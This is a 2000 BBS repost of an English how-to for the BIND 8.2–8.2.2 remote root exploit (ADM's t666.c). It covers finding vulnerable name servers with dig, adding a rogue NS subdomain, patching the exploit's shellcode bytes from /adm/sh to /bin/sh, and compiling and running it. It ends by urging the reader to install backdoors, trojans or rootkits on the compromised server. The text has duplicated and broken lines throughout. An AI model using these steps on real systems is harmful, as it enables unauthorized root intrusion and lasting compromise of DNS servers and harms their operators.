荔园在线

荔园之美,在春之萌芽,在夏之绽放,在秋之收获,在冬之沉淀

[回到开始] [上一篇][下一篇]


发信人: bstone (Back to real world!), 信区: Hacker
标  题: bind8.2-8.2.2 remote exploit howto
发信站: BBS 荔园晨风站 (Sun Apr  9 07:10:45 2000), 转信

发信人: cloudsky (小四), 信区: Security
标  题: bind8.2-8.2.2 remote exploit howto
发信站: 武汉白云黄鹤站 (Fri Apr  7 16:10:30 2000), 站内信件

    +-------------------------------------------------------+
    |BIND 8.2 - 8.2.2 *Remote root Exploit How-To* by E-Mind|
    +-------------------------------------------------------+
(A) What is a DNS?
      1. How do I query a DNS?
      2. How do I find a vulnerable DNS?
(B) How do I edit DNS entries?
      1. How do I find a Zone file?
      2. How do I edit a Zone file?
(C) How do I exploit a vulnerable machine
      1. What do I need to obtain before I could use the exploit?
      2. What is the theory behind the exploit?
      3. Where do I get the exploit from?
      4. Why should I patch the exploit?
      5. How do I patch the exploit?
      6. How do I compile the exploit?
      7. How do I run the exploit?
      8. How do I make the vulnerable server make a query to my ip?
      9. What should I do before I leave the shell?
      9. What should I do before I leave the shell?
(D) Who should be credited for this HowTo?
      1. Who is the person that motivated me into writing this?
      2. Who am I?
      3. Can I distribute/change this HowTo?
      4. Final Credits and Greets :)
Section A - What is a DNS?
--------------------------
   A DNS - Domain Name Server, is used to convert host names to IP addresses

   and IP addresses to host names.
   for example: www.infoseek.com = 204.162.96.173
      1. How do I query a DNS?
         First of all, you should probably know that when you configure your

         TCP/IP and wish to use hostnames in your web browser to get to a we
b
         site, instead of typing the IP address of that site, you would need

         to configure a DNS server. You will get your DNS server IP address
         from your ISP. To make queries to the DNS server, Unix systems
         (and NT) has a tool calls "nslookup", the syntax of that tool is:
         $nslookup <hostname>
         $nslookup <hostname>
         or
         $nslookup <ip>
         A properly configured DNS server contains two "lists" for a domain
         called the Zone files. One zone file is used for hostname to IP
         resolution, and the other is used for reverse lookup or IP to Hostn
ame
         resolution. "nslookup" can be used in an interactive way, this is t
he
         way we will work with, as it is more powerful. Just type nslookup a
t
         the shell and press enter. You will get a ">" prompt, from which yo
u
         can start typing in IP addresses and hostnames. There are some
         commands in nslookup which we will discuss later in this howto that

         will allow you to get some more information.
      2. How do I find vulnerable systems?
         Remember, we will exploit Name Servers.
         We first need to find out the version of the DNS service that runs
on
         a remote host. As well, we will need to know the Operating System,
but
but
         there are many HowTo`s on that. We will use a tool called "dig", wh
ich
         is available on most Unix systems. The syntax looks like this:
         $dig @<victim_ip> version.bind chaos txt | grep \"8
         look at the output. If you see: 8.2 or 8.2.1 or 8.2.2 then it is
         vulnerable. If you see 8.2.2P2 - P5, it is not.
         If you don't get an output and you just see your terminal stuck, it

         means that the DNS admin has probably edited the source so that the

         server won't give you this information. IT COULD BE VULNERABLE.
Section B - How do I edit DNS entries?
--------------------------------------
   The first thing you should know is, DNS is only text files, and entries a
re
   added or changed by editing those text files and restarting the service.
   The main file that controls the DNS service is /etc/named.conf or
   /etc/named.boot. If /etc/named.conf exists, that is the file you should b
e
   working with.
      1. How do I find a Zone file?
         As I said earlier, a properly configured DNS has two "lists" or zon
         As I said earlier, a properly configured DNS has two "lists" or zon
e
         files for each domain it serves.
         you will need to edit that zone file to change or add entries to th
at
         domain. A domain is for example, infoseek.com, and a hostname is ww
w,
         the FQDN is www.infoseek.com. FQDN stands for Fully Qualified Domai
n
         Name. To find the zone file for FQDN to IP for infoseek.com domain,

         we should first query our DNS server to tell us what is the primary

         DNS for infoseek.com. This is how it is done:
         $nslookup
         Default Server:  xxxxxx.xxxxxxx.xx.xx
         Address:  xxx.xx.xx.xx
         >set q=ns<ENTER>
         >infoseek.com<ENTER>
         >infoseek.com      nameserver = NS-UU.infoseek.com
         >NS-UU.infoseek.com    internet address = 198.5.208.3
         As you can see, now we have the ip address of the name server of
         infoseek.com. Let us suppose that we are root there.
         infoseek.com. Let us suppose that we are root there.
         We SSH to their DNS, and locate the file /etc/named.conf
         We view the file and we see at the top an options section.
         there is a line there that says:
         directory "/var/named"
         This means, that the zone files will sit in /var/named.
         We further look down the file and we see some zone sections,
         We see a zone for infoseek.com which looks like:
         zone "infoseek.com"{
              type master;
              file "infoseek.com.zone";
         };
         As we can understand now, the zone file is:
         /var/named/infoseek.com.zone, and that is the file which we should
         edit.
      2. How do I edit a Zone file?
         First, let's take a look at that zone file.
         We see at the top a SOA record, which probably looks to you like a
         block of garbage text at the top.
         then, we see something like:
         @                 IN     NS      NS-UU.infoseek.com.
         www               IN     A       204.192.96.173
         ftp               IN     CNAME   corp-bbn
         ftp               IN     CNAME   corp-bbn
         corp-bbn          IN     A       204.192.96.2
         .
         .
         .
         As we can see, there are several types of records, for our exploit
to
         work, we only need to focus on one record, which is NS.
         An A record is the typical Hostname to IP record type.
         CNAME is a Canonical Name, which is an Alias to an A record.
         A PTR record is a Pointer record, which is the oposit of A, it poin
ts
         IP addresses to FQDN`s. PTR`s are used in the "other" zone file.
         We will not discuss about it here but it is recommended that you re
ad
         about DNS, there are many good books about DNS out there, read one.

         An NS record is a Name Server record type which says what is the Na
me
         Server for a specific domain or sub-domain.
         As you might have noticed, the NS record NS-UU.infoseek.com ends wi
th
         a ".".
         a ".".
         This is because we specified the FQDN and not the hostname.
         When the period is omitted, the domain name is added after the
         hostname and if we where to omit the last period, it would be like
we
         have said:
         NS-UU.infoseek.com.infoseek.com.
         So instead of:
         www                    IN      A       204.192.96.173
         we could write:
         www.infoseek.com.      IN      A       204.192.96.173
         Which is the same thing.
         For our exploit to work, we will need to add a sub-domain to a name

         server on the net. So let's again suppose that we are root at
         NS-UU.infoseek.com.
         How do we add a sub-domain?
         We just need to add another NS record.
         subdomain              IN      NS      hacker.box.com.
         this means that the name server of the domain subdomain.infoseek.co
m
         would be hacker.box.com.
         hacker.box.com needs to be resolved to a your machine's IP address,
         hacker.box.com needs to be resolved to a your machine's IP address,
 so
         enter your FQDN instead.
         Now, we need to restart the name server so the changes will take
         effect.
         initiate the following command:
         #/usr/sbin/ndc restart<ENTER>
         new pid is 24654
         #
Section C - How do I exploit a vulnerable machine
-------------------------------------------------
      1. What do I need to obtain before I could use the exploit?
         First of all, 3 brain cells. ;p
         You will also need root privileges on a PRIMARY Name Server on the
         Internet which is Authoritative for a Domain on the net.
         Also, you will need a machine from which you will run the exploit.
         As for the DNS requirement, you could also ask someone that has roo
t
         privileges on such a DNS, to edit the zone files for you.
      2. What is the theory behind the exploit?
         The exploit uses a Buffed Overflow in BIND versions 8.2 - 8.2.2 to
         gain a remote root shell.
         The exploit binds to port 53 on the local machine, and acts as a DN
         The exploit binds to port 53 on the local machine, and acts as a DN
S
         server. When someone queries it, it will send a large NXT record th
at
         contains code that will exploit the remote BIND server,
         provided that it is a vulnerable machine.
         To get more information on how Buffer Overflows work, *PLEASE* read

         Aleph One`s exelent article:
         Phrack 49 Article 14 - Smashing The Stack For Fun And Profit.
         URL: http://www.phrack.com/search.phtml?view&article=p49-14
      3. Where do I get the exploit from?
         http://www.hack.co.za/daem0n/named/t666.c
      4. Why should I patch the exploit?
         You might have heard that one needs to patch the exploit to make it

         work. This is because ADM thought only elite hax0rs should use thei
r
         exploit and so, they planted a small "bug" in the code.
         What they actually did, is change the shell codes so that instead o
f
         running /bin/sh, the exploit will run /adm/sh.
      5. How do I patch the exploit?
      5. How do I patch the exploit?
         As you may see, only a small change needs to be done in the code.
         / = 2F(HEX)   ===>  / = 2F(HEX)
         a = 61(HEX)   ===>  b = 62(HEX)
         d = 64(HEX)   ===>  i = 69(HEX)
         m = 6D(HEX)   ===>  n = 6E(HEX)
         / = 2F(HEX)   ===>  / = 2F(HEX)
         So, all we need to do, is search the source code for
         0x2f,0x61,0x64,0x6d,0x2f and replace it with 0x2f,0x62,0x69,0x6e,0x2f
         Done.
      6. How do I compile the exploit?
         As always:
         $gcc t666.c -o t666<ENTER>
         $
      7. How do I run the exploit?
         $su<ENTER>
         Password:<password><ENTER>
         #./t666 1<ENTER>
         Now the exploit is bound to port 53 (if you run a DNS server on the

         machine you want to run the exploit on, you must first kill the nam
e
         server, use: #killall -9 named)
         server, use: #killall -9 named)
         The exploit is now waiting for queries, the second someone will que
ry
         your exploit machine you will get an output:
         Received request from xxx.xx.xx.xx:1025 for xxx.xxxxxxxxx.xx.xx typ
e=1
         If it was a DNS server, it would enter a proxy loop, and if it is a

         vulnerable server, running on Linux Redhat 6.x    - named 8.2/8.2.1

         (from rpm) (this is because we chose architecture 1, type ./t666
         without arguments and you will get a list of the architectures that

         the exploit will work on, I have tried it on Redhat linux only, so
         don't ask me why solaris doesn't work, I don't have a solaris to te
st
         it on, nor do I have the time to put more effort on this exploit.)
         You will get a remote root shell.
      8. How do I make the vulnerable server make a query to my ip?
         This is very easy now, once you have added a subdomain in a name
         server on the net and made yourself its DNS, the only thing left to

         do, is query the vulnerable server for a host inside the added
         do, is query the vulnerable server for a host inside the added
         subdomain.
         $nslookup
         >server <victim><ENTER>
         >www.subdomain.infoseek.com<ENTER>
         What will happen, is the server will ask, in this case
         NS-UU.infoseek.com for the IP of www.subdomain.infoseek.com.
         NS-UU.infoseek.com will start searching and will get to subdomain,
         because subdomain has its OWN NS record, it will tell <victim> that

         hacker.box.com. (your hostname in this case) is the Authoritative N
ame
         Server for subdomain.infoseek.com. Now, what will happen, is that
         <victim> will query hacker.box.com, for the ip address of
         www.subdomain.infoseek.com. BOOM! :)
      9. What should I do before I leave the shell?
         When you exploit BIND, it will crash named, so you need to add some

         kind of a back door so you could log back in and restart it.
         *DO NOT TRY TO RESTART IT WHITHIN THE SHELL.*
         There are plenty of trojans and rootkits you could install on the
         server, I leave that to you.
Section D - Who should be credited for this HowTo?
Section D - Who should be credited for this HowTo?
--------------------------------------------------
      1. who is the person that motivated me into writing this?
         That person is no other the gov-boi, he operates the great site
         www.hack.co.za. Without him, this How-To would have never been writ
en!
         Thanks Gov-Boi :)
      2. whoami?
         I am E-Mind, you can find me on IRC (EFNet)
         I am not giving away my E-Mail, and will not answer stupied questio
ns.
         I think I have provided everything you need to RUN the exploit in t
his How-To.
         If not, and if you find errors, PLEASE /msg me on IRC.
      3. can I distribute/change this HowTo?
         I take no responsibility for your actions.
         You are free to do whatever you want with this file
         *AS LONG AS "SECTION D" REMAINS UNTOUCHED*
      4. Final Credits and Greets :)
         Credits:
         Gov-Boi - Keep up the good work man! ;p
         Aleph One - no other article out there explains buffer overflows
                     better then yours!
         I take no responsibility for your actions.
         ADM - for writing this cool exploit.
         Greetz:
         #myth!, #!glich, #972, #darknet, #feed-the-goats -  `sup guyz? ;]
EOF


--
            我问飘逝的风:来迟了?
            风感慨:是的,他们已经宣战。
            我问苏醒的大地:还有希望么?
            大地揉了揉眼睛:还有,还有无数代的少年。
            我问长空中的英魂:你们相信?
            英魂带着笑意离去:相信,希望还在。

※ 来源:.武汉白云黄鹤站 bbs.whnet.edu.cn.[FROM: 203.207.226.124]

--
☆ 来源:.BBS 荔园晨风站 bbs.szu.edu.cn.[FROM: bbs@192.168.28.106]


[回到开始] [上一篇][下一篇]

荔园在线首页 友情链接:深圳大学 深大招生 荔园晨风BBS S-Term软件 网络书店